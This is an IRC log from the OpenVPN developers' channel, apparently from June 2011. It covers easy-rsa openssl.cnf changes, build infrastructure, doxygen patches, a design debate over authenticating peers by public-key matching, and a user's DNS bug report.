Windows 07:42 <@dazo> mattock: that's not 2.2.1 stuff at all ... but we can merge that in master whenever cron2 is ready for that 07:42 <@mattock> as soon as possible, please :) 07:42 <@dazo> mattock: you're working on master branch now, so that will become 2.3 stuff in the future 07:43 <@dazo> remember that anything with IPv6 is not present in the 'release/2.2' branch at all ;-) 07:45 <@mattock> oh yes 07:46 <@mattock> this bug is pretty big, as the only workaround is to do a comple clone every time 07:46 <@mattock> even "git rm -f <file>" won't help, even though it has to be done twice 07:46 <@mattock> git pull --rebase origin will then fail 07:46 <@mattock> I'd fix this for the first alpha of 2.3 07:57 <@mattock> smoketests passed with updated openssl.cnf 07:57 <@mattock> now to cleaning up... 07:59 <@mattock> dazo: "do we want to replace easy-rsa/2.0/openssl.cnf, or rename it to, say "easy-rsa/openssl-0.9.8.cnf" 07:59 <@dazo> that makes sense 07:59 <@mattock> renaming? 07:59 <@dazo> git mv should take care of that 08:00 <@dazo> renaming and file location 08:00 <@dazo> but we could then add a openssl-1.0.0.cnf too, for 1.0.0 compatibility 08:00 <@mattock> ok, so current (as in 2.2.0) openssl.cnf will become openssl-0.9.8.cnf 08:00 <@dazo> but we ship openssl-1.0.0 in 2.2? 08:00 <@mattock> and my fixed version will become openssl.cnf 08:00 <@mattock> dazo: that's correct 08:01 <@mattock> so, the default openssl.cnf would be for OpenSSL 1.0.0* 08:01 <@dazo> don't package openssl-0.9.8.cnf in Windows ... we should only have the 1.0.0 version there 08:01 <@dazo> but in our source repo, we should have both 08:01 <@mattock> I wonder what happens if openssl.cnf is replaced with 1.0.0* version 08:02 <@mattock> does it break easy-rsa on *NIX platforms using OpenSSL 0.9.8*? 08:02 <@dazo> I would expect so 08:02 <@dazo> and I'd prefer if we then had easy-rsa/openssl-0.9.8.cnf and easy-rsa/openssl-1.0.0.cnf 08:02 <@mattock> no openssl.cnf (without version number)? 08:03 <@mattock> that'd works for me, but needs documenting 08:03 <@dazo> exactly! the distro packagers will then pick the variant which is correct to their distro 08:03 <@dazo> depending on which openssl version they release 08:03 <@mattock> hopefully :P 08:03 <@mattock> all of this begins to make sense, I'll push out the patch in ~30 mins 08:03 <@dazo> a little README file in ./easy-rsa should be enough, I'd say 08:03 <@mattock> I'll build on top of "Fix a build-ca issue on Windows" 08:06 <@dazo> perfect! 08:09 <@mattock> does anyone have OpenSSL 1.0.0* on *NIX available? 08:09 <@mattock> to make sure this does not break it 08:09 <@mattock> or that it works properly 08:11 <@dazo> $ rpm -q openssl 08:11 <@dazo> openssl-1.0.0d-1.fc14.x86_64 08:12 <@dazo> But I'll be busy in meetings for a couple of hours soon 08:26 <@mattock> renaming easy-rsa/2.0/openssl.cnf will almost certainly break domake-win 08:27 <@mattock> or Windows installers generated with it 08:40 <@mattock> I won't have time to test the installer stuff (win/openvpn.nsi) today, but I'll put the patch somewhere and mail openvpn-devel 08:40 <@mattock> if there are any changes that it needs 08:46 <@dazo> yeah, I'd say we rather spend time fixing these things than to still have them broken - just in a different form 08:46 <@dazo> we really have not much to stress about with the 2.2.1 release .... it's nothing highly critical there 08:47 <@dazo> impatient people can always pull the release/2.2 branch, to get the pieces so far for the 2.2.1 release 08:49 <@mattock> yep 10:30 -!- Guest378 [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 276 seconds] 10:30 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 252 seconds] 10:34 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 10:54 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 11:20 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 11:20 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 11:20 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:32 -!- dazo is now known as dazo_afk 12:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 13:58 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:58 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:37 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 14:38 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds] 15:40 -!- andj is now known as andj_afk 15:44 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 15:48 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 15:52 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 15:56 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel --- Log closed Tue Jun 21 16:38:01 2011 --- Log opened Tue Jun 21 16:38:32 2011 16:38 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 16:38 -!- Irssi: #openvpn-devel: Total of 17 nicks [6 ops, 0 halfops, 2 voices, 9 normal] 16:38 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 16:39 -!- Irssi: Join to #openvpn-devel was synced in 74 secs 18:22 -!- raidz [~root@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:21 -!- raidz [~root@openvpn/corp/admin/andrew] has left #openvpn-devel [] 22:33 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds] --- Log closed Wed Jun 22 00:26:02 2011 --- Log opened Wed Jun 22 00:26:23 2011 00:26 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 00:26 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 2 voices, 8 normal] 00:26 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 00:27 -!- Irssi: Join to #openvpn-devel was synced in 49 secs 00:37 -!- andj_afk is now known as andj 00:54 -!- andj is now known as andj_afk 01:45 <@mattock> cron2: there? 01:52 -!- dazo_afk is now known as dazo 02:19 <@mattock> dazo: can you make it to the meeting tomorrow? 02:19 <@mattock> I'd try to get James to review the patches from andj 02:19 <@dazo> mattock: that's hard for me ... and next week, I think I can manage (I fly back to Oslo again that day) 02:20 <@mattock> ok 02:21 <@mattock> can you test my build-ca patches before Friday on *NIX + OpenSSL 1.0.0*? 02:22 <@mattock> also, we'd need somebody to the domake-win stuff, too 02:22 <@mattock> I don't think I'll have time to setup another Windows build environment (MinGW/Msys) 02:22 <@mattock> before release 02:28 <@mattock> cron2: mind if I scratch my itch and merge the ipv6 readmes? 02:28 <@mattock> they're driving me crazy on Windows 02:36 <@dazo> mattock: I'll try to get it tested 02:36 <@mattock> excellent! 02:37 <@dazo> mattock: feel free to merge the IPv6 files ... I have no problem with that ... just please try to keep a unified format in them :) 02:37 <@mattock> I'll publish a 2.2.1 preview installer with my two patches in 1-2 hours 02:37 <@mattock> ok, I'll unify them 02:37 * dazo is reading andj_afk's patches ... that's quite some documentation work here! 02:37 * dazo is happy 02:39 <@mattock> so it's generic OpenVPN code documentation and not tied to the PolarSSL stuff? 02:41 <@mattock> andj has done excellent work! 02:41 <@dazo> nope, this first series is only documentation of the source code ... and it generate beautiful interactive web pages, or pdf files using doxygen 02:42 <@dazo> doxygen example from eurephia: http://www.eurephia.net/doxygen/eurephia-devel/ ... and it is all based on such comment tags in the source code like what andj have added here 02:42 <@vpnHelper> Title: eurephia v1.0 - Developer: eurephia v1.0 developers reference (at www.eurephia.net) 02:43 <@dazo> And it generates such call paths like this: http://www.eurephia.net/doxygen/eurephia-devel/eurephia__xml_8c_af0f7f67e31b2f9a00eb3f6224336821a_icgraph.png 02:54 <@mattock> I've used Doxygen with Java, and it's very useful there 02:55 <@mattock> for example, to make sure class inheritance hierarchy is sane 03:05 * cron2 won't make meeting tomorrow 03:13 <@mattock> ok, let's skip the meeting then 03:13 <@dazo> sounds like a good plan 03:13 <@dazo> but if James could spend some time reviewing patches tomorrow ... that'd be absolutely great! 03:14 <@mattock> I mailed him - hint hint jamesyonan :) 03:14 <@dazo> I see that these patches adds some functions, new declarations in existing openvpn files as well ... so that needs to be investigated more 03:14 <@dazo> but if jamesyonan can make sure the documentation texts also makes sense ... that's valuable 03:16 <@jamesyonan> hi guys 03:16 <@dazo> wow :) didn't expect you to be responsive at this time of day :) 03:16 <@jamesyonan> I'm working late -- fighting with pyOpenSSL 03:16 <@dazo> ohman ... yeah, I've heard others finding that pyOpenSSL challenging as well 03:17 <@jamesyonan> yeah, I'm constantly patching it 03:18 <@jamesyonan> so does the doxygen patch add functional changes as well? 03:19 <@dazo> it seems to add some small stuff in some files ... but it might be that it's just functions being moved around in the files 03:19 <@dazo> I need to look at these patches in a patch viewer to easier see the changes 03:19 <@dazo> some change blocks are quite big 03:25 <@mattock> just tested the build-ca fix and it passes smoketests 03:25 <@mattock> now it's "domake-win" tests (and fixes) 03:25 <@mattock> and the *NIX + OpenSSL 1.0.0 test 04:07 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 06:03 <@mattock> dazo: I'll fix buildmaster and finalize the test integration 06:04 <@dazo> mattock: perfect! ... I have some documentation I need to look at for RH, and then I'll test your openssl.cnf 06:04 <@mattock> ok, that'd be great! 07:05 <@vpnHelper> RSS Update - tickets: #144: Openvpn client sends log to server, it causes "Bad encapsulated packet length from peer" message <https://community.openvpn.net/openvpn/ticket/144> 07:17 -!- dazo is now known as dazo_afk 07:17 -!- dazo_afk is now known as dazo 08:55 <@mattock> dazo: cleaned-up buildmaster is now up 08:56 <@mattock> there seems to be only one issue: copying the t_client.rc to the build directory does not yet 08:56 <@mattock> work 08:56 <@dazo> neat! 08:56 * dazo just closed a new bug in Trac ... somebody reporting an error on OpenVPN 2.0.9 08:56 <@mattock> oh :) 08:57 <@mattock> anyways, I'll fix the t_client.rc issue tomorrow morning, should not be too difficult 08:57 <@mattock> probably buildbot is confused about the path or something 09:11 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:32 < equinox> hey guys, if anyone has a few minutes it'd be cool to get some feedback on the idea in http://www.diac24.net/tmp/0001-introduce-peer-cert-exact.patch 09:32 < equinox> there's a 12-line manpage fragment right at the top that explains the idea 09:33 < equinox> (it does X509 with plain simple pubkey matching instead of uber-complicated CA) 09:36 <@dazo> equinox: I'm looking at the patch now 09:36 <@dazo> first of all, I don't like the names ... ssl_verify_exact() and --peer-cert-exact ... that's a bit misleading 09:37 < equinox> what'd you call them? 09:38 <@dazo> I'm trying to come up with something better .... but ... as you're doing public key matching and not certificate/PKI stuff .... --public-key-match is hitting better 09:39 <@dazo> I'm torn if I like the idea or not ... basically because I don't find CA stuff difficult ;-) .... and to make it easy, there is, ./easy-rsa/2.0 ... 09:39 < equinox> it's not actually difficult, it's impossible 09:39 <@dazo> I beg to differ, but that's a different subject 09:39 < equinox> my usage scenario is a network of all-independent people 09:40 <@dazo> but what is different with this patch then using --secret and static keys? 09:40 < equinox> it gets the advantages of doing a TLS negotiation 09:40 < equinox> as in, forward secrecy 09:41 <@dazo> hmm ... true 09:41 < equinox> also, everyone can publish their ceirt 09:41 < equinox> and i can print a list of fingerprints and distribute it 09:43 <@dazo> but this is where I begin to fall off ... how do you configure this? 09:43 < equinox> the alternatives for my usage case are either secret keys or every single user creating a CA and issuing himself a certificate 09:43 < equinox> you just feed it the peer's .crt file 09:44 < equinox> i tried creating a self-signed certificate and using it as a CA and actual certificate at the same time, that didn't work for some reason 09:44 <@dazo> this is a NAK how I see it ... it completely breaks the authentication part if SSL 09:45 < equinox> no it doesn't :) 09:45 < equinox> only the owner of the certificate's private key will be allowed in 09:45 <@dazo> if every single user can create his own CA and issue it's own certificate ... how can you really be sure that is a valid part? 09:46 <@dazo> how can you ensure that CA isn't compromised? 09:46 < equinox> i'm not working with CAs 09:46 < equinox> there are no CAs with the functionality in the patch 09:46 < equinox> (there can be CAs, but they're completely ignored) 09:46 < equinox> the only part from the certificate that is used is the embedded public key 09:47 <@dazo> then back to the implementation ... how/where is the authentication done then? 09:47 < equinox> subject, issuer signature, validity - it's all ignored. 09:47 < equinox> + rv = EVP_PKEY_cmp (match, peer) == 1; 09:47 < equinox> "match" is the public key that you gave as config option 09:47 < equinox> "peer" is the one received via TLS from the peer 09:47 < equinox> if they're identical, you're in. 09:48 < equinox> it's designed for p2p mode obviously, you can only feed it one certificate 09:48 < equinox> it works exactly the same on both the TLS server and TLS client side 09:49 < equinox> basically, i could be using RSA public/private key pairs 09:49 < equinox> but TLS doesn't allow that, it wants a full certificate 09:49 <@dazo> Well, what is one thing I definitely don't like here ... is that you use certificates, and ignore the crucial data which makes certs ... why not rather just transmit the public key directly? and avoid confusing it with certificates 09:49 < equinox> i can't change the TLS spec :) 09:50 <@dazo> well, the SSL libs do have support for loading public and private keys instead of certificates 09:50 < equinox> yeah, but the protocol can't transport it 09:50 <@dazo> because you basically break the TLS spec with ignoring the certificate data and just comparing public keys 09:50 < equinox> and i'm not inventing a new protocol. that's just a recipe for security fuckups... 09:51 < equinox> well, no 09:51 < equinox> it's proper TLS 09:51 < equinox> i'm just using my own validation model 09:51 <@dazo> yeah, which is not a TLS specified validation model 09:51 < equinox> TLS doesn't actually specify validation models 09:51 < equinox> X509 does that 09:52 < equinox> and X509 is extensible ;) 09:52 < equinox> or, in this case, reducible 09:53 < equinox> (also, X509 is horribly broken... cf. the EFF SSL observatory notes) 09:53 <@dazo> I like the idea of a better encryption regime in addition to --secret and static keys, which is not a full blown CA setup ... but this implementation I'm NAKing ... I don't like that you use certificates, which defines authentication data - which this patch ignores ... and uses a public key for authentication 09:53 < equinox> also, i'm not even the first person to implement this, Mozilla SeaMonkey did pretty much this 5 years ago 09:54 <@dazo> A solution which transports a public key, and authenticates that public key, that's a better approach ... this is merely a hack in my eyes 09:54 < equinox> now 09:54 < equinox> what's the worse hack, ignoring some certificate data or coming up with an entire new protocol, not inspected and looked at by anyone? :/ 09:55 <@dazo> using certificates as a mean to transport a public key ... as that is reducing the concept of what a certificate is 09:55 <@dazo> that's the hack 09:55 < equinox> yes 09:56 < equinox> you're suggesting i come up with a different protocol 09:56 < equinox> i don't know of any protocol that does what TLS does with just private/public keys 09:56 <@dazo> SSH does that 09:57 < equinox> hm. 09:58 < equinox> are you suggesting i go and copy half of openssh's code into openvpn? *g* 09:59 <@dazo> not copy the code, but copy the ideas ... and use the means which fits into OpenVPN 09:59 < equinox> so it's a new protocol again 09:59 < equinox> hm 09:59 < equinox> sorry, but no, i've learned to not come up with new crypto protocols. the hard way. 10:00 <@dazo> well, the TLS protocol as it is designed in OpenVPN today is built for certificates .... and using that protocol for pure pub-key exchange is abuse 10:00 < equinox> the TLS protocol actually supports GPG keys 10:01 < equinox> but openssl can't do that 10:01 <@dazo> and SSH have already implemented the scheme your looking for ... and it is based on OpenSSL which OpenVPN uses ... it's not like reinventing the wire protocol 10:01 <@dazo> Then I wonder how OpenSSH makes this work ... 10:02 < equinox> openssh uses openssl for the crypto rather exclusively 10:03 < equinox> it doesn't even link against libssl, only libcrypto 10:04 < equinox> also, the SSH protocol is highly asymmetric 10:04 <@dazo> $ ldd /usr/sbin/sshd | grep ssl 10:04 <@dazo> libssl3.so => /usr/lib64/libssl3.so (0x00007f1d9dee2000) 10:04 < equinox> your ssh has X509 certificate support :) 10:04 <@dazo> yeah, might be 10:04 < equinox> check a plain debian one 10:04 < equinox> $ ldd `which sshd` | grep 0.9.8 10:04 < equinox> libcrypto.so.0.9.8 => /lib/libcrypto.so.0.9.8 (0x00007fbd70523000) 10:11 < equinox> anyway 10:11 < equinox> we're already deploying this, i just got bugged to try and get it upstream, you don't want it i'm fine with it :) 10:12 < equinox> i'll be maintaining it 10:12 < equinox> if you change your mind it'll still be there 10:12 < equinox> (now if openssl implements TLS with PGP keys, that will totally replace my kludge, but... that might be a while) 10:13 < equinox> as a finishing statement: 10:14 < equinox> "i'm not breaking TLS at all. i'm screwing X509 to hell and back, but that's exactly what i want, because: f*ck X509, it's broken as sh*t." 10:24 < psha> dazo: TLS is wider then just X509 based auth, is not it? 10:24 < psha> for example when you use ADH ciphers you don't have any X509 related auth but still have valid TLS 10:25 <@dazo> psha: yeah 10:26 < psha> i really don't think that ignoring x509 chain verification is great sin 10:27 <@dazo> and that's my point, lets use the proper TLS ways how to do this, instead of hacking certificates ... when all you want to transport over for authentication is the public key 10:27 < psha> yes, and TLS provides nice way to pass it to remote peer 10:27 <@dazo> agreed, there are worse sins than that ... however, lets avoid doing sins as much as possible 10:27 < psha> by coincidence using x509 10:28 < psha> some time ago i implemented local CA with auto and semi-auto certificate signing 10:28 < psha> best way to pass renew request was using another X509, not request 10:28 < psha> signed with old certificate 10:29 < psha> yes, that system was violating X509 policy in several places 10:29 <@dazo> :) 10:29 < psha> but introducing custom 'here is request, here is signature and here is ton of funny stuff' container is not really wise when there is one already - x509 10:30 < psha> x509 really has two major aspects 10:30 < psha> one is container - DN, pubkey, signature, extensions 10:30 < psha> other is policy 10:31 < psha> is it wise to ignore x509 as container format due to usage incompatible with x509 policy? 10:31 <@dazo> I'm not opposed to the x509 as the transport container.... I'm mostly concerned about that the client loads certificates, which can easily be misunderstood and confusing 10:31 <@dazo> because to generate that certificate you do need have it signed by a CA 10:32 < psha> is there private key on client side? 10:32 < equinox> both sides have a private key and a self-signed certificate in the simplest setup 10:32 < psha> then you may create certificate on the fly 10:32 < psha> it's cheap enought since it does not involve any random data generation 10:33 < equinox> (the certificate doesn't actually need the signature, but you can't create a cert without a signature readily) 10:33 < psha> one signature 10:33 < equinox> yeah, you only need to store it on the other side 10:33 < equinox> for yourself, your private key is all you need 10:33 < psha> so both sides will have private (?) key and nobody will be confused 10:33 < psha> i guess one have private, other public? 10:33 < equinox> yeah 10:34 < equinox> i could change the option to work with a stored public key instead of a certificate 10:34 < psha> dazo: will this resolve your confusion? :) 10:35 < equinox> however, since i expect people to use existing certificates, i'll retain the option to load a certificate 10:35 <@dazo> it's definitely a better approach 10:35 <@dazo> well, that's the key point in my argument ... to not load certificates, but public/private keys 10:35 < equinox> well 10:35 <@dazo> in the moment you load a certificate, then we're back at were this discussion started 10:36 < equinox> not really 10:36 < equinox> let me show you yet another angle :) 10:36 <@dazo> a certificate is to be signed by a CA ... and here you really don't have a trusted third party 10:37 < equinox> exactly, but since you verified the private key, what's to keep you from using the same key for a certificate? which you now, *without* a CA, know to be authentic? 10:38 <@dazo> exactly, hence the CA needs to be a part which *the server* trusts 10:38 < equinox> there is no server 10:38 < equinox> i'm talking about peer-to-peer setups exclusively 10:39 <@dazo> so to avoid this confusion by users ... there are already enough confusions by users about certificates ... skip everything related to certificates ... load public/private keys ... auto-create a certificate inside openvpn and pass over the x509 stuff 10:40 <@dazo> then in p2p it makes even less sense to talk about certificates, unless a certificate is issued by a trusted third party, by both sides 10:40 < equinox> hm 10:41 < equinox> hm-hm 10:41 < equinox> since i might be using the certificates for other purposes where i can't readily use just the keys, i'll for my use retain the certificate code 10:41 < equinox> but i'll make a key-only version of the patch 10:45 -!- enfant [acodemonke@vp186059.hk.uac65.hknet.com] has joined #openvpn-devel 10:45 < enfant> hey there, where can I report bugs in openVNP? 10:45 < enfant> *VPN 10:45 <@dazo> https://community.openvpn.net/openvpn/newticket 10:46 <@dazo> but you need to sign up 10:46 < enfant> oh bummer 10:46 < enfant> are you guys aware of a pretty gaping bug? 10:46 <@dazo> which/what? 10:46 < enfant> I think it's in the TAP driver 10:46 <@dazo> enfant: what have you found? 10:46 <@dazo> and on which platform? 10:47 < enfant> on Win7. I've used several VPN providers that use OpenVPN. Sometimes when you disconnect from the openVPN connection, DNS for web pages seems to be completely borked 10:47 < enfant> all peripheral services seem unaffected, MSN, skype, QQ, anything else remains connected 10:47 < enfant> but if you try to request webpages, all dns requests fail 10:48 <@dazo> I fear that's a "Windows feature", without being sure .... have you tried to flush the DNS caches? 10:48 < enfant> yup. first thing I tried 10:48 < enfant> but my mate just replicated the error on his mac 10:49 <@dazo> okay, I'd like you to file a bug ticket on this ... with server and client configs, together with log files, esp. clients with --verb 4 in the config files 10:49 <@dazo> we need pretty much details on this one 10:49 < enfant> ok - happy to. It was so much of an issue that I switched back to PPTP on my current provider 10:49 < enfant> so I'd like to see it fixed 10:50 <@dazo> which openvpn version? 10:50 < enfant> it is always wrapped ina gui loader. hang on, I'll try finding the config 10:52 < enfant> OpenVPN 2.0 config file 10:54 < enfant> but I think it's 2.1 10:56 <@dazo> still too old ... I'd like to see this tested on 2.2.0 10:57 <@dazo> we're not going to touch 2.1.x any more ... at least from the community side 10:57 < enfant> bugger 10:57 <@dazo> openvpn --version should give you the version 10:57 <@dazo> if you find the binary 10:57 < enfant> that's what I was about to say 10:58 < enfant> got it 10:59 < enfant> oh, 2.1.3 10:59 <+ecrist> heh, not even latest 2.1 10:59 < enfant> what's the latest verison? is it possible to find compiled binaries for the latest supported version? 10:59 <+ecrist> 2.2.0 10:59 <+ecrist> !snapshot 10:59 <@vpnHelper> "snapshot" is See !snapshots 10:59 <+ecrist> !snapshots 10:59 <@vpnHelper> "snapshots" is weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 10:59 < enfant> !snapshots 10:59 <@vpnHelper> "snapshots" is weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or ftp://ftp2.secure-computing.net/pub/openvpn 11:00 <@dazo> enfant: you can download the latest 2.2.0 from openvpn.net as well ... it's the latest official release 11:00 <+ecrist> that's just source tarballs, not compiled binaries 11:00 < enfant> yeah 11:00 < enfant> yes, just tarballs 11:00 < enfant> I don't have a compiler on my windows lappy. 11:01 <+ecrist> we don't snapshot for windows 11:01 < enfant> fair enough. 11:01 < enfant> guess shit out of luck 11:02 <+ecrist> you can download 2.2.0 11:02 <+ecrist> there are binaries for that, as dazo said 11:03 <@dazo> enfant: http://openvpn.net/index.php/open-source/downloads.html .... windows binary with 2.2.0 is here 11:03 <@vpnHelper> Title: Downloads (at openvpn.net) 11:03 < enfant> thank you sir 11:05 < enfant> can I find mac binaries anywhere? 11:05 -!- andj_afk is now known as andj 11:05 <@dazo> I doubt so, I don't think tunnelblick have updated their stuff to 2.2.0 yet 11:05 <@dazo> but building on osx is usually like a walk in the park ... like Linux and FreeBSD 11:06 -!- anomalousme [~acodemonk@58.62.123.43] has joined #openvpn-devel 11:07 < anomalousme> ok thanks 11:09 -!- enfant [acodemonke@vp186059.hk.uac65.hknet.com] has quit [Ping timeout: 240 seconds] 11:09 -!- anomalousme is now known as enfant 11:12 < enfant> ok 11:12 < enfant> I've upgrade the binaries and driver to version 2.2 11:12 < enfant> let's hope I don't see the bug anymore 11:13 * dazo crosses his fingers 11:18 * dazo heads out 11:26 -!- dazo is now known as dazo_afk 11:36 -!- enfant [~acodemonk@58.62.123.43] has quit [Ping timeout: 258 seconds] 12:09 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:40 -!- raidz1 [~Administr@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 14:40 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 264 seconds] 14:41 -!- raidz1 is now known as raidz 14:41 -!- raidz [~Administr@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 14:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:42 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Ping timeout: 258 seconds] 14:46 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 15:19 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 17:12 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 17:21 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 17:21 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 17:21 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:03 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 20:08 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:08 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:50 -!- enfant [~acodemonk@59.41.156.81] has joined #openvpn-devel 22:49 -!- enfant [~acodemonk@59.41.156.81] has quit [Ping timeout: 240 seconds] --- Day changed Thu Jun 23 2011 00:41 -!- andj is now known as andj_afk 00:42 -!- andj_afk is now known as andj 00:45 -!- andj is now known as andj_afk 01:06 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:40 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 01:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:14 -!- dazo_afk is now known as dazo 02:57 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 02:59 <@dazo> mattock: MeeGo for N900 is a big step forward: http://wiki.meego.com/N900 02:59 <@vpnHelper> Title: N900 - MeeGo wiki (at wiki.meego.com) 03:03 <@mattock> still somewhat rough, but when I got time, I'll try it 03:34 <@dazo> yeah, I'm going to order a class10 microSD card and try it ... I tried it on a class4 card, but that was just to forget - so slow it was unusable 03:35 <@dazo> (class6 is the minimum recommended) 04:33 <@mattock> how much do class 10 cards cost? 05:01 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 05:01 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 05:01 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 05:07 <@dazo> mattock: I've seen them around for ~50-60EUR - that's 16GB 05:08 <@dazo> 8GB you might get down to 15-20 05:09 <@dazo> duh, the 8GB version is normal SD, not microSD 05:09 <@dazo> EUR20-25 for 8GB microSD 05:34 <@mattock> not bad 05:46 <@mattock> btw. I mailed Francis about the proposed changes to openvpn.net 05:46 <@mattock> hopefully we can implement them or something along those lines when I'm visiting the company 05:57 <@mattock> dazo: can we rely on buildslaves compiling only changed files? that's what happens atm 05:57 <@mattock> earlier, each commit did a full Git checkout and thus compiled everything 05:57 <@mattock> now it does Git update, with no cleaning before "make" 05:57 <@mattock> so, only changed files are compiled 05:58 <@mattock> this would save lots of server resources for me, but does it catch same build issues as full clone + full build? 06:20 <@dazo> mattock: yeah, that makes sense for me ... we don't necessarily need a complete rebuild ... even though, if you run ./doclean first, you can do the autoreconf -i and ./configure 06:20 <@mattock> mkay 06:21 <@mattock> test integration seems to work, but it takes lots of time for connections to establish 06:21 <@dazo> We might in very weird situations get build failures from a fresh clone ... but that is seldom, though 06:21 <@mattock> dazo: do you have anything to push to "master"? 06:22 <@mattock> some trivial patch or something 06:22 <@dazo> hmm .. not yet ... I'm going to test the SSL stuff now - I got distracted with paid work yesterday 06:25 <@mattock> "distracted with paid work" :P 06:25 <@mattock> actually, I was thinking that postponing the release until next Tuesday might make sense 06:25 <@mattock> I'll have trouble working on Friday evening, and nobody has reported anything on domake-win, either 06:28 <@mattock> (it's midsummer eve on Friday here) 06:53 <@dazo> yeah, makes sense 08:15 <@dazo> mattock: from what I can grasp ... the openssl-1.0.0.cnf file seems to work fine in Fedora 14 08:15 <@dazo> I've just built CA and server certs and inspected them with openssl 08:15 <@mattock> dazo: great! 08:15 <@dazo> I'm thinking of providing a patch for you on top of what you got 08:35 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:35 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:35 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:38 <@dazo> mattock: http://www.fpaste.org/PgdS/ ... I think you'll need this in addition 08:38 * dazo need to run now 08:38 <@mattock> dazo: thanks! 08:41 -!- dazo is now known as dazo_afk 09:01 <@vpnHelper> RSS Update - tickets: #145: pkcs11 support is missing in openvpn 2.2.0 for windows <https://community.openvpn.net/openvpn/ticket/145> 09:53 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:23 -!- enfant [~acodemonk@59.41.156.81] has joined #openvpn-devel 11:29 -!- andj_afk is now known as andj 14:19 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 14:40 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:08 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:08 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:17 -!- testing_ecrist [~webchat@webchat.openvpn.net] has joined #openvpn-devel 15:17 -!- mode/#openvpn-devel [+o testing_ecrist] by ChanServ 15:17 <@testing_ecrist> raidz: looks like it's not as locked down as you thought... 15:17 <@raidz> haha, well you can still do it through url 15:18 <@raidz> I would think it would keep most from abusing it though 15:18 <@testing_ecrist> naw, I just did it through /j 15:18 